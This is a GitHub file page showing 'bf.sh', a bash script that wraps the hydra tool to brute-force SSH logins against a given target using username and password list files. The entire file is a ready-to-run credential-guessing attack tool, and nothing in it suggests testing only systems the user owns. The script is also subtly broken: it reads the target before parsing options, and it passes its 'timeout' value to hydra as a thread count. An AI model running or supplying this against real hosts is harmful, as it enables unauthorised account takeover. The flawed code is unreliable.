-
Notifications
You must be signed in to change notification settings - Fork 0
/
bf.sh
62 lines (56 loc) · 1.35 KB
/
bf.sh
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
#!/bin/bash
# Check if necessary tools are installed
if ! command -v hydra &> /dev/null
then
echo "hydra could not be found, please install it to use this script."
exit
fi
# Default values
SSH_PORT=22
TIMEOUT=5
USER_LIST="users.lst"
PASS_LIST="pass.lst"
TARGET="$1"
# Usage function
usage() {
echo "Usage: $0 <target>"
echo "Optional parameters:"
echo " -p <port> SSH port (default: 22)"
echo " -U <user list file> File containing list of usernames (default: users.lst)"
echo " -P <password list file> File containing list of passwords (default: pass.lst)"
echo " -t <timeout> Timeout in seconds (default: 5)"
exit 1
}
# Parse command-line options
while getopts ":p:U:P:t:" opt; do
case ${opt} in
p )
SSH_PORT=$OPTARG
;;
U )
USER_LIST=$OPTARG
;;
P )
PASS_LIST=$OPTARG
;;
t )
TIMEOUT=$OPTARG
;;
\? )
echo "Invalid option: $OPTARG" 1>&2
usage
;;
: )
echo "Invalid option: $OPTARG requires an argument" 1>&2
usage
;;
esac
done
shift $((OPTIND -1))
# Check if target is provided
if [ -z "${TARGET}" ]; then
usage
fi
# Run Hydra to perform the brute force attack
echo "Starting brute-force attack on $TARGET..."
hydra -t $TIMEOUT -V -f -L $USER_LIST -P $PASS_LIST -s $SSH_PORT ssh://$TARGET